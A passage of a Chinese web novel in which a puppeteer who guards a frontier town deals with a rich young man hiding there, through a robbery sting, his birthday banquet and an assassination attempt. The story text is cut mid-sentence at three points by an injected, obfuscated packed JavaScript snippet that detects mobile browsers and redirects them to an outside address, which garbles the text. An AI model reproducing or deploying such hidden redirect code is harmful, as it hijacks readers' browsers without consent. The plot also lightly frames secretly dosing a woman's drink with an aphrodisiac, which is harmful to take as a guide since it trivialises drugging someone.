他这般高调出现,是反悔了,想再纠缠她,还是另有图谋? 整场表演,她都有些心神不宁,丝线操控虽未出错,但沉浸感大打折扣。她不时分心留意台下那个方向,提防着任何可能的突发状况。 然而,直至她鞠躬下台,幕布落下,台下掌声雷动,明杳都只是安静地坐在那里,仿佛只是一个被傀儡戏吸引的普通看客。 所有戏目结束,人群开始散去,他也只是随着人潮起身,从容离开,未曾向她投来多余的一瞥,更未曾试图接近后台。 接下来几日,每逢她有表演,开演前总能看见那道熟悉的身影准时落座。 他有时独自品茶,有时与前来搭话的看客寒暄两句,言谈举止无可挑剔,全然一副赏玩风雅且乐在其中的世家公子模样。 今日亦然。 今日他带了个小巧精致的食盒,与旁边一位带着孙儿的老者分享点心,惹得那孩童咯咯直笑。 邵琉光在幕后冷眼瞧着,心中荒谬感更甚。 眼前这个温文尔雅、言笑晏晏的贵公子,哪里看得出半分那夜在她手中紧绷颤抖、眼尾洇红、脆弱又放纵的模样?若非亲身经历,她断不会将这两副面孔联系在一起。 她的目光不自觉在他身上停留得久了些。 明杳似有所感,再次转头寻来。 邵琉光在他目光触及之前,便猛地转过身,背对着台下。 台下,书梁借着斟茶的机会,凑近明杳耳边:“少爷,您这又是何苦?若实在……不如属下帮您去寻几个知情识趣的姑娘来?” 明杳端起茶杯,缓缓呷了一口,目光依旧落在空无一人的戏台上,仿佛在等待开演。半晌,才淡淡道:“不用。” 书梁欲言又止,终究没忍住:“您该不会真打算在邵姑娘这一棵树上吊死吧?她方才那眼神,可是半分不待见您。” 明杳握着茶杯的手指微微收紧了下,沉默片刻,忽然问:“华京有新消息传来么?” 书梁神色一凛,低声道:“尚未有确凿消息。风雨欲来,老爷让您务必沉住气。” “知道了。”明杳放下茶杯,目光重新投向缓缓拉开的幕布,神情专注,“先看戏。” 台上,鼓点轻起,丝竹悠扬。 邵琉光操控的傀儡水袖翻飞,顾盼生辉,引得台下观众屏息凝神。 一幕终了,傀儡定格在一个哀婉动人的姿态,明杳也随着众人,惊叹着,轻轻鼓起掌来。 戏毕,所有艺人上台致谢。邵琉光站在角落,随着众人微微躬身,抬眼的瞬间,目光不由自主地再次扫过那个位置。 灯火映照下,他眉眼如画,笑容明亮得甚至有些耀眼,在尚未散去的人群中,醒目得令人无法忽视。 邵琉光飞快地移开视线,转身便下了台。 她背靠着冰冷的木板,缓缓吐出一口浊气,心头莫名烦乱,久久未能平息。 整理好箱笼,邵琉光从梨园后门离开,几名身形健硕的汉子从暗处快速聚拢过来。 为首的是长啸:“老大,黑蝰帮那伙杂碎又开始不安分了。这几天接连对城中几家新来的富户下了手。” 富户二字让邵琉光眸光一凝,脑海中几乎是瞬间闪过明杳那身价值不菲的衣着。 长啸继续道:“专挑人生地不熟,看着家底厚实的。恐吓几句,那些怕事的便乖乖交出钱财,他们抢了就跑,滑不留手,已有三五户遭殃了。”他语气愤懑,“再这么下去,西岭庇护之地的名声就要被这帮老鼠屎坏了!” 邵琉光眉头紧锁。 父母临终前守护此方安宁的嘱托沉甸甸地压在心头,可那帮破坏此间安宁的匪患,像除不尽的野草,明面上灭了三五月,不知何时却又疯长起来。 她正欲开口,余光忽然瞥见不远处,明杳从一家售卖文房雅玩的铺子悠然步出。 华服锦袍在略显灰暗的街巷中格外醒目,加之其人相貌俊逸,仪态出众,引得路人不时侧目。他摇着一柄素面折扇,浑然不知自己已成了一道引人垂涎的……行走的钱袋子。 邵琉光心中已有计较,对长啸等人道:“跟着鱼饵,鱼自会上钩。” 另一头,书梁借着为明杳整理袖口的机会,低声快速道:“少爷,邵姑娘刚才在看你。” 明杳脚下步伐微微一顿。 “别回头。”书梁提醒。 明杳依言继续向前,嘴角却勾起一丝弧度。书梁见状,恍然低语:“我算是明白了,少爷您这是……欲擒故纵?试探邵姑娘对您的情义?” 明杳只微微侧目扫了一眼斜后方,问道:“我们的人呢?” “都在暗处,随时听令。” 明杳略一颔首,凑近书梁耳边,低声吩咐了几句。书梁面色先是一紧,但又不得不领命,转身消失在人群之中。 明杳依旧摇着扇子,独自沿着街道信步而行,偶尔在路边的摊铺前驻足,与摊主闲聊两句,一副闲适贵公子的模样。 尾随其后的邵琉光一行人渐渐察觉不对。 长啸低声道:“老大,这好像不是回他府上的路,怎么越走越偏了?” 邵琉光目光紧锁前方那道身影,心中疑窦渐生。 “老大,他拐进前面那条死胡同了!”长啸声音一紧。 几乎就在明杳身影没入巷口的瞬间,几个黑影更快地,如同嗅到血腥的鬣狗,从不同方向猛地窜出,扑进了巷子。 明杳听到了身后急促的脚步声,不疾不徐地慢下脚步,尚未回头,两条粗壮的胳膊已从身后钳制住他的双臂,将他猛地抵在了粗糙的砖墙上。 冰冷的刀刃贴上脖颈,一个粗犷的声音恶狠狠威胁:“别动!老实点,把值钱的交出来!” 紧接着,几只肮脏的手迫不及待地在他身上摸索起来。 荷包、玉佩、扇坠……甚至束发的玉簪,都被极其熟练地搜刮一空。 暗处,长啸看得咬牙切齿:“狗日的!怪不得每次作案快得鬼影似的,原来根本不用威胁第二遍,直接上手就抢!”他看向邵琉光,“老大,现在出手吗?” 邵琉光只是沉默看着那巷中虽被压制搜身,但显得颇为顺从的明杳身上。 她没动。 周围几个兄弟交换了一下眼神,心想老大或许是想借机让这个纠缠不休的纨绔吃点苦头,便也都按捺下来,继续观望。 黑蝰帮的几人从明杳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041142|194684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上摸出不少钱财,兴奋低呼。 “卧槽这么肥!早知道第一个就该盯上他!” “快看!这小子外袍的扣子……是翡翠镶的!这水头……不止一颗!” “发了发了!扒下来!” 他们开始剥扯明杳的外袍,一边动作一边抱怨:“要不是忌惮邵家那疯丫头多管闲事,真想把这小子绑回去,肯定能敲出更多油水!” 华丽的外袍被剥下,露出里面月白色的中衣,在暗巷中竟隐隐有流光。 是极细的金线织就的暗纹。 几人眼睛更红了,又开始扒他的中衣。混乱中,一人捏着明杳贴身的里衣布料,猥琐地嘿嘿笑起来。 “笑什么?里衣也是金丝编的?” “那倒没有,”那人手指猥亵地捻了捻布料,“就是这料子……摸着可真滑溜,比春雪院娘们儿的皮肤还细。” 被抵在墙上,衣衫已被扯得凌乱不堪的明杳,听到此处,竟笑出了声。 不远处,长啸看得目瞪口呆:“这人……是不是吓傻了?这时候还笑得出来?” 邵琉光眼底最后一丝犹豫散去,果断下令:“就是现在,上!” 埋伏已久的众人如同猎豹般扑了上去,那几个黑蝰帮众正沉浸在发横财的狂喜中,瞬间被打得措手不及,人仰马翻。 其中一个反应稍快的,试图回身挟持明杳作为人质。他刀尖还未触及明杳,手腕便传来一阵剧痛,只见方才还任人摆布的肥羊,反手便扣住了他的腕骨,轻轻一折。 咔嚓一声轻响,伴随着惨嚎,钢刀哐当落地。 明杳顺势退开几步,脱离了战圈中心,书梁不知从何处闪出,将夺回的衣物匆匆披在明杳肩上,一边替他整理,一边心有余悸地低声埋怨:“少爷,您这招也太险了!非要我们按兵不动……要是邵姑娘真记着您的仇,偏不救您,可怎么好?” 明杳的目光掠过场中。 几个喽啰已悉数被制服,捆了个结实。他这才看向书梁,淡淡道:“抛开别的恩怨不谈,我如今也算暂居西岭。以她的性子,既撞见了此事,便不会坐视城中百姓受害而不管。” 书梁小声嘀咕:“是啊,救是肯定会救。救别人可能立马就跳出来了,救您嘛……只要人没死就成。” 明杳被噎得无言,没好气地抬手敲了下他脑门。 制服了黑蝰帮几人,长啸问邵琉光:“老大,那几个杂碎捆好了。要不要……去安抚一下受害者?” 他语气有些迟疑,目光瞟向不远处正在慢条斯理系腰带的明杳,书梁还在旁边替他拉扯衣襟。 邵琉光抬眼望去。 明杳已穿回衣衫,但仍有些许凌乱,长发也散了几缕,垂在颊边。 可他站姿闲适,神情自若,甚至还有心思低头检查自己的财物是否收回齐全,哪有一丝一毫受害者的模样? 她心下发堵,但还是走了过去。 明杳余光瞄见她,脸上不自觉漾起笑容,正要开口,邵琉光却先一步冷冷道:“你知道我们在暗处。” 明杳惊讶:“你们一直在?那邵姑娘是故意……”他往自己身上略显狼狈的衣着一扫,“等我出丑之后才现身?” 邵琉光被他这倒打一耙的架势弄得一噎,避开他灼灼的视线,生硬解释道:“那几人警惕,不让他们彻底放松,很难一网打尽。” “哦。”明杳煞有介事点头,“这么说,是我让他们彻底放松了?这份功劳,不知能否在邵姑娘这里领个赏?” 邵琉光迎上他戏谑的目光,抿紧唇,沉声问:“你要什么赏?” 明杳靠近了些。 邵琉光几乎能闻到他身上清雅的熏香,她没退,但眼中警告意味明显。 明杳的目光顺势落在她发间一支素色玉簪上,慢悠悠地开口:“那便请邵姑娘赏我……” 他刻意顿了顿,看到她脸色微沉,才笑着说:“免费看戏吧。” 说完,不等邵琉光反应,他直起身,朗声笑道:“走啦!”便带着书梁,大步流星走出暗巷。 邵琉光站在原地。半晌。 晚风拂面,带起耳根隐隐烫意。 她轻轻吐出一口气,转过身,正对上几双写满好奇与关切的眼睛。 长啸挠挠头:“老大,你受伤了?脸怎么这么红?” 邵琉光面色一肃,避而不答:“把这几人押送到东城地牢,仔细审问,务必问出黑蝰其他窝点。” 5. 脏吗? 邵琉光今日有午后的场次。 上台前,她习惯性地扫过台下那个熟悉的位置。 空的。 她指尖微顿,随即收回视线。 没来便没来,与她何干。 她凝神静气,将全部注意力投注于手中的丝线,缓步登台。 表演行至中途,台下入口处传来一阵骚动。 邵琉光余光瞥见那道天青色的身影正微微躬身,谦逊而低调地穿过座位间的缝隙,朝第一排而来。 他迟到了,脸上带着些许匆忙赶路后的薄红,更衬得眉眼生动。 她垂下眼,手中牵引傀儡左臂的丝线力道,滞涩了那么一瞬。 台上的傀儡书生,那欲探未探的手,便比鼓点慢了外行人看不出的半分。 台下观众浑然未觉,戏仍在流畅进行。 只有一直站在侧幕帮忙的小师妹江泠,捕捉到了那一丝不谐。 她自幼跟随师姐学艺,对邵琉光操控傀儡时那种人偶合一的状态再熟悉不过。 戏毕,众人下台。 江泠一边帮邵琉光将傀儡小心装入箱中,一边轻笑开口:“师姐,那位白公子……近来可是咱们梨园最捧场的贵客了。我瞧着,似乎只有师姐你登台的日子,他才会现身呢。” 邵琉光随意“嗯”了声。 “师姐似是不喜那位白公子?” 邵琉光动作未停:“不够明显么?” 江泠抿唇一笑:“说是不喜,可今日他迟了些才到,我分明看见师姐你……因他分神了那么一刹。外行人瞧不出,可骗不了我这双看惯师姐手艺的眼睛。” 邵琉光手上动作一顿。 那是因为你不知道,他究竟是怎样一个人。 这句话在她喉头滚过,终究没有出口。一些不愿回想的画面却擅自浮上心头。 她摇了摇头,忆起初次见到明杳的情景。 那日天寒地冻,她在城楼上例行核查每日入城的外乡人。 千里镜中,一队人马在稀疏的流民队伍中显得格外扎眼。护卫精悍,簇拥着一辆沾满泥泞雪渍的气派马车。 车顶积雪未化,他们显然刚从危机四伏的雪山出来。 她当时便蹙了眉。西岭城虽称庇护之地,却也不是什么阿猫阿狗都能进的安乐窝。雪山是天堑,亦是筛选。这等看着便是养尊处优的富家子,若无特殊缘由,根本不在接纳之列。 身旁的长崎附耳低报:“雪狐发现他们时,几乎被风雪埋了半截。但他们手中有徐公早年游历在外赠出的信物。雪狐认得,这才破例引他们出山。” 徐公是西岭城隐退的耆老,德高望重,他的信物分量不轻。邵琉光心下稍定,目光仍带着审视,落在那辆缓缓停下的马车上。 就在这时,车帘被一只骨节分明、冻得有些发红的手掀起。 一个披着素白狐裘大氅的年轻男子躬身钻出,立在车辕上。 寒风卷起他未束妥的几缕墨发,他抬手随意拢了拢,另一只手扶着车顶站稳,抬起头,望向高耸的城门楼。 那一瞬,天光破开云层,恰好落在他脸上。 苍白的肤色,挺直的鼻梁,一双眼睛因长途跋涉和风雪侵袭而带着倦色,却依旧清澈明亮,映着雪光与城楼的轮廓。 邵琉光在城楼上,隔着一段距离,于千里镜中,看清了他的模样。 心里那点因徐公信物而起的考量,迅速被一个更直观的印象覆盖。 原来是个来此避祸的纨绔。 “师姐?师姐?”江泠的声音将她从回忆中拉回。 “嗯?” “外头有人找,说是白府的人。” 邵琉光眉头一拧,放下手中傀儡,走了出去。 来人是书梁。 书梁脸上堆着笑,递上一份亲笔书写的请柬:“后日是我家公子生辰,府中略备薄宴,广邀城中友朋。公子特意吩咐,务必请邵姑娘赏光。” “没空。”邵琉光拒绝得干脆。 书梁笑容不变,语气却加重了些:“公子说,与邵姑娘相识一场,也算缘分。还请姑娘……务必给几分薄面。” 最后四字,他说得缓慢,笑意里带着若有似无的胁迫感,与他的主子如出一辙。 令人生厌。 邵琉光正欲再次拒绝,梨园的张老板恰好寻来:“琉光!正找你呢!明日李府老夫人寿辰,包了咱们园子去府上唱堂会,点名要你的《麻姑献寿》,你有空不?” “有空。”邵琉光立刻应下,转头对书梁,语气冷淡,“我有事,去不了。” 书梁不急不缓:“可张老板说的是明日……” 张老板在一旁接口:“欸!后日,大后日也有邀约!都指明要琉光的戏!”他转向邵琉光,带着商量口气,“琉光啊,你看这……” “我都去。”邵琉光截断他的话,转头看向书梁,“你请回吧。” 书梁脸上笑容有些挂不住,最终讪讪拱手离去。 张老板有些担忧地看着邵琉光:“你真要连轴转三日啊?这可不比园子里轻松。” “嗯。”邵琉光点头,心思却已飘远。找些事做,占满时间,他便寻不到由头再来纠缠。 “那行,我这就去安排其他人手。你好好准备,这几家给的酬劳都丰厚,干完正好歇一阵。” 两日后。 邵琉光站在一处气派府邸的后角门外,看着匾额,眉头紧锁。 “张老板,你确定是这儿?” 张老板连连点头:“没错,就是白府!白公子寿辰,包了咱们全班的戏,定金都给足了!琉光,进去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041143|194684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邵琉光猛地转身:“我突然想起还有急事……” “哎哟我的姑奶奶!”张老板一把拉住她袖子,急道,“你去哪儿啊?人都到齐了,戏目单子早就报上去了,你现在走了,我临时上哪儿找个顶你台柱子的?白公子可不是好相与的主!” 邵琉光挣开他的手,语气生硬:“我…去趟茅厕。” 张老板一愣,指着门内:“府里就有啊!你这跑到外头野地里去找?” “不了。”邵琉光退后一步,漠然突出一个字,“脏。” 说完,她转身快步离开。 张老板呆立原地,半晌才摸着后脑勺喃喃:“茅厕……哪有不脏的?”等他回过神来,邵琉光已走远,他只好冲着背影喊:“那你快点回来啊!最迟开戏前半个时辰!” 白府内,书梁捧着一个精巧的紫檀木簪盒,走向回廊下的明杳。 “少爷,您不是说要亲自去接邵姑娘么?她还没到?”书梁环顾四周。 明杳没有回答,只是望着庭院中几株夏荷,侧脸在灯笼光影下显得有几分阴郁。 书梁心下着急,告了声罪,匆匆跑到府门口张望。只见梨园的队伍正在侧门卸运箱笼道具,张老板忙前忙后地指挥着。 他赶忙上前:“张老板,人都齐了么?” “齐了齐了,就等开戏了!”张老板满脸堆笑。 书梁松了口气,目光扫过人群,又问:“邵姑娘呢?可到了?” “邵姑娘啊,她说先去办点小事,马上就来!放心,误不了事!”张老板拍着胸脯保证。 听到邵琉光会来,书梁心头大石落地,转身回去想向少爷报喜。可他刚走回回廊,却只见着明杳走向内院的背影。 书梁满心疑惑。 少爷这是怎么了?明明盼着人来,怎么听说人要来,反倒像是更落寞了? 书梁快步追上,试探着问:“少爷,邵姑娘那边……” 明杳停下脚步,没有回头,声音淡淡问:“书梁,我脏吗?” 书梁讶然张大了嘴:“啊,少爷这是……何意?” 明杳一字一顿道:“她说我脏。” 书梁愣了半晌,才斟酌着开口:“少爷,这……强扭的瓜不甜,要不咱就算了罢?京都什么样的佳人没有,何必在此……” 他话未说完,明杳却低笑出声。 方才那点落寞神色一扫而空,嘴角勾起一抹带着狠劲儿的笑。 “觉得我脏?”他低声重复,每个字都像是从齿缝里磨出来的,却又带着笑意,“那我偏要…恶心她,恶心死她。” 他示意书梁靠近,附耳低语了几句。书梁听罢,脸色变了又变:“少爷,这……这恐怕不妥吧?万一邵姑娘当真翻脸……” 明杳冷瞥他一眼:“你只管照办。我自有分寸。” 6. 此刻 酉时一刻,寿宴开席。 后院临湖处搭了精巧的水台,明杳坐于水榭主位,一身锦袍华服衬得他面如冠玉。 梨园班子在台上尽心表演,引得席间宾客不时喝彩。 戏毕,众人也被引入席面。 邵琉光刚落座不久,一个模样不过十五六岁的小丫鬟便凑了过来,脸颊红扑扑的,满眼崇拜地看着她:“邵姑娘,您方才那出《木兰从军》的傀儡耍得太好了,我非常喜欢您的戏,我、我想敬您一杯!” 邵琉光只当是寻常戏迷,略点了点头,饮了杯中果酒。 不料这小丫鬟异常热情,接二连三找着由头向她敬酒,言辞恳切,赞不绝口。连着几杯下肚,邵琉光心头警铃微作,抬眼望向主位。 明杳正含笑应酬着几位上前道贺的宾客,举杯谈笑间,风度翩翩,俨然一位无可挑剔的世家公子。 就在这时,张老板端着酒杯,满面红光地召集梨园众人:“来来来,趁现在白公子跟前人少些,咱们一块儿过去敬杯酒,多谢白公子慷慨,照顾咱们生意!”他不由分说,拉起身边的邵琉光,“琉光,你可是台柱子,白公子最捧你的场,这杯酒你得跟我一块儿带头!” 众人饮了些酒,兴致正高,闻言都簇拥过来。邵琉光尚未及反应,便被半推半攘地带到了明杳面前。 许是酒意上涌,脚下微一趔趄,竟险些直接扑入明杳怀中,她急忙稳住身形,堪堪在距离他衣襟寸许处停住。 四目骤然相对。 近在咫尺,她能看清他眼中映着的灯火,以及那灯火深处,一丝几乎难以捕捉的笑意。 他没有说话,只是静静看着她。 周围喧闹的人声仿佛瞬间被抽离,只剩下两人之间这诡异的静默。 张老板左右看看,觉出气氛微妙,忙用胳膊肘轻轻碰了碰邵琉光,朗声笑道:“来来,我西岭梨园众人,恭贺白公子弱冠华诞,芝兰玉树,福寿绵长!”说罢,自己率先仰头干了。其余人也纷纷附和饮尽。 唯独邵琉光,手中酒杯虚举着,唇线紧抿,一言不发。 明杳放下酒杯,目光落在她脸上,笑容未减:“邵姑娘,不说点什么吗?” 邵琉光依旧沉默。 张老板干笑两声,连忙打圆场:“哈哈,白公子莫怪,琉光这孩子面皮薄,见着您这般人物,怕是惊喜得词穷了!琉光,快,快敬白公子一杯呀!” 邵琉光仍未动。 宾客们的目光若有若无地飘来。 气氛一时绷紧。 明杳忽然从主位上站起身。 周遭私语声一静。 他缓步走向邵琉光,其他人下意识地向后退开半步,让出空间。邵琉光站在原地,身姿笔直,只一双冷眸紧紧盯着他。 明杳走到她面前,举起手中酒杯,轻轻与她僵持在手中的杯盏一碰,他看着她,笑容加深:“邵姑娘肯赏光寒舍,这杯酒,该我敬……” 话音未落,邵琉光瞳孔骤然一缩。 一股杀气自身侧破空袭来! 她身体本能地做出反应,抬手猛地攥住明杳的前襟,狠狠将他向后一推。 明杳猝不及防,被她推得踉跄跌坐回主位的椅中。 几乎就在同一瞬间,一道乌光贴着他方才站立的位置“嗖”地掠过,深深钉入后面的廊柱。 是一支淬了毒的短弩箭! “有刺客!保护少爷!” 不知是谁厉声高喝,方才还其乐融融的宴席瞬间炸开了锅! 会武的宾客和侍卫皆拔出兵刃,不会武的则惊慌四散,寻找掩体。 杯盘倾倒,惊呼四起,乱作一团。 邵琉光一击推开明杳后,目光迅速扫过暗器来处,只见一道黑影在对面屋顶一闪而逝。她无心纠缠,转身便欲趁乱离开这是非之地。 手腕却被人从后抓住。 她回头,只见明杳不知何时已从椅上起身,紧紧攥着她的手腕:“邵姑娘,刺客尚未落网,此处危险,你……留下来保护我。” “放手。” 明杳非但不放,反而抓得更紧:“我若在此地出事,我手下那些忠心耿耿的护卫,绝不会善罢甘休。届时追查起来,梨园众人…恐怕难脱干系。你也不想让张老板他们,背上说不清的人命官司吧?” 邵琉光拳头倏地握紧。 她盯着他,又想起他手中那枚徐公的信物。权衡之后,她停下了挣脱的动作。 半数白府侍卫都扑出去追拿刺客了,剩余的人将明杳和邵琉光围在厅堂中间,警惕地注视着四周。 不多时,外间传来打斗与呼喝声,很快平息。两名侍卫押着一个被反剪双手的黑衣人进来,重重掼在地上。 “少爷,刺客已擒获!” 那刺客被扯下面巾,露出一张平平无奇的脸。他抬头,阴狠的目光扫过明杳,又掠过邵琉光,喉结剧烈滚动一下。 书梁上前一步,正欲审问。 一声轻响,那刺客嘴角溢出一缕黑血,头一歪,竟已气绝身亡。 书梁蹲下查验,脸色瞬间凝重。他起身回到明杳身边:“少爷,是……那边的人。” 明杳眼神一沉,尚未开口。旁边传来邵琉光的声音:“那边是哪边?” 书梁看向明杳,未得示意,不敢擅自开口。 邵琉光的目光在明杳和书梁脸上来回扫视:“西岭城中混入此等死士刺客,白公子,你脱不了干系。你究竟从何而来,避的又是什么祸?” 明杳脸上重新挂起那副令人捉摸不透的笑,转向她:“邵姑娘对我的事感兴趣?” “我绝不允许一个会召来此等祸端的人,留下来破坏西岭城的安宁。” 明杳看了她一眼,忽地轻笑:“你想知道,我便告诉你。”他抬眼,对书梁使了个眼色。书梁会意,立刻挥手带着众人,连同那具刺客尸体,迅速退出了水榭。 邵琉光在等待他开口。 明杳却慢悠悠踱到桌边,提起酒壶,斟了两杯酒。他端起其中一杯,话锋陡然一转:“今日是我生辰,邵姑娘却连一杯真心实意的酒,都未曾与我喝过。” 邵琉光默然。 她看了一眼那酒杯,心中权衡。 也罢,一杯酒,换一个答案。 她走上前,单手执起另一杯酒,朝向明杳:“生辰安乐。” “安乐?”明杳重复着这两个字,“我可一点儿也不觉得快乐。” “刺客之事,究竟是何缘由?”邵琉光追问。 明杳忽然向她逼近一步,出其不意地伸出手,握住了她的右手手腕。邵琉光面色一沉,并未躲闪,只冷眼看着他。 明杳感受着她腕间的脉搏,笑了:“既然邵姑娘爱干净,此刻与我离得这般近,怎么不躲?” 顿了顿,他低语道:“不嫌脏了?” 邵琉光眉心猛地一跳。 下一秒,明杳忽然发力,一只手强硬地揽住了她的腰身,将她紧紧扣向自己。 温热的体温隔着衣料传来,混合着他身上清雅的熏香。 明杳低下头,薄唇在她耳畔轻启:“我这人,心眼小,报复心…特别强。” 邵琉光:“……” 他不甘心似的,在她耳边强调着:“邵姑娘…现在也脏了。” 邵琉光身体一僵。 那几个字如同烧红的烙铁,烫进她耳中。她下意识张了张嘴,却找不到辩解的出口。 片刻后,她微微偏头,避开他过于贴近的呼吸,沉声道:“…可以说了么。” 她的平静让明杳眼底那点恶劣的笑意淡了些许。他深深看了她一眼,终于松开了揽在她腰间的手,后退半步,转身施施然坐回了主位,恢复了那副慵懒姿态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041144|194684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我来自华京。”他端起酒杯抿了一口,语气平淡,仿佛在说别人的事,“家父在朝为官,位高权重,自然也得罪了不少人。如今朝局波谲云诡,有人想拿住我,作为扳倒家父的筹码。所以,我逃到了这里。” 他抬眼,望向湖面沉沉的夜色,“没想到,他们竟追到了此地。” “徐公的信物,在你手中。” “徐公?我并不认识什么徐公。”明杳从怀中取出一枚非金非玉的玄色螭纹佩环,“你说的,可是此物?这是家父给我的,只说是旧友信物,持此可安然穿过雪山,寻到西岭城。” 邵琉光目光落在那螭纹佩环上。的确,那是徐公平日随身之物,她心下顿时了然,原来是他的父辈早年与徐公结下的善缘。 得到了想要的答案,她心中疑虑稍解,微微颔首“嗯”了一声,再无多言,转身便走。 “等等。”明杳的声音自身后传来。 邵琉光脚步微顿。 “今夜…多谢邵姑娘出手相救。” 明杳走到她面前,将一枚沉甸甸的金锭放入她掌心:“这是今夜梨园演出的酬金,烦请邵姑娘转交张老板。” 接着,又将一块质地莹润的羊脂白玉佩轻轻放在金锭之上:“这是谢礼。谢邵姑娘今夜…援手之恩。” 邵琉光正要收手,明杳的指尖却似不经意地,拂过她修长的指节与薄茧。 邵琉光呼吸一滞,猛地将手抽回,她握紧金锭和玉佩,避开他的视线,硬邦邦丢下一句:“白公子破费了。”便转身大步离开。 走出白府后门,夜风一吹,邵琉光才觉出脸颊耳后一片滚烫,不知是残留的酒意,还是别的什么。 走到僻静处的小溪边,她掬起一捧冰凉的溪水扑在脸上,才觉得那股莫名的燥热退散了些。 远处白府的灯火熹微,乐声早已停歇,只剩一片沉寂。 她在溪边石上坐下,慢慢摊开手心,金锭在月光下闪着暗沉的光,旁边那枚羊脂白玉佩,更是温润无瑕,触手生温,一看便知价值不菲。 她拿起玉佩,对着月光看了看,低声自语:“应该能当不少钱。” 明日便去当了,换来的银钱,正好可以给近日涌入西岭的那些流民,多熬几锅稠粥。 . 白府。 书梁轻手轻脚走进房中。 明杳正斜倚在窗边的软榻上,手中把玩着一个小小的物件,望着窗外月色,不知在想什么。 “少爷,那个……邵姑娘走了?”书梁试探地问。 “嗯。” 书梁挠挠头:“鸦彤那丫头明明说她酒量寻常,今日灌了那些果子酒,又混了点儿软春散的气息助兴,怎的邵姑娘看起来……还挺清醒?” 明杳终于转过脸,瞥了他一眼:“你说呢?” 书梁讪讪辩解:“那、那可能是邵姑娘内力深厚,或者格外警醒……少爷,这可不全怪我们安排不周啊。” 明杳懒得与他分辩,注意力又回到手中之物上。 书梁好奇,凑近了些:“少爷,您看什么呢?”只见明杳指间一个仅有两寸来长,尚未雕刻完成的小木偶胚子,面目模糊,唯身形修长,依稀能看出是个男子轮廓。 “这雕的是谁啊?连脸都没有。”书梁纳闷。 明杳不答,只将木偶在指尖转了转。 书梁看着他嘴角那抹笑,一个大胆的猜测冒了出来,他瞪大眼睛,惊呼:“这、这该不会是……邵姑娘送您的生辰礼吧?!” 难道少爷终于守得云开见月明了? 明杳闻言,摇了摇头,语气轻飘飘的:“是她的东西。不过……” 他示意书梁再靠近些,待书梁疑惑地附耳过来,他才用坏事得逞般的得意语气,低声坦白: “是我从她身上……” “偷来的。”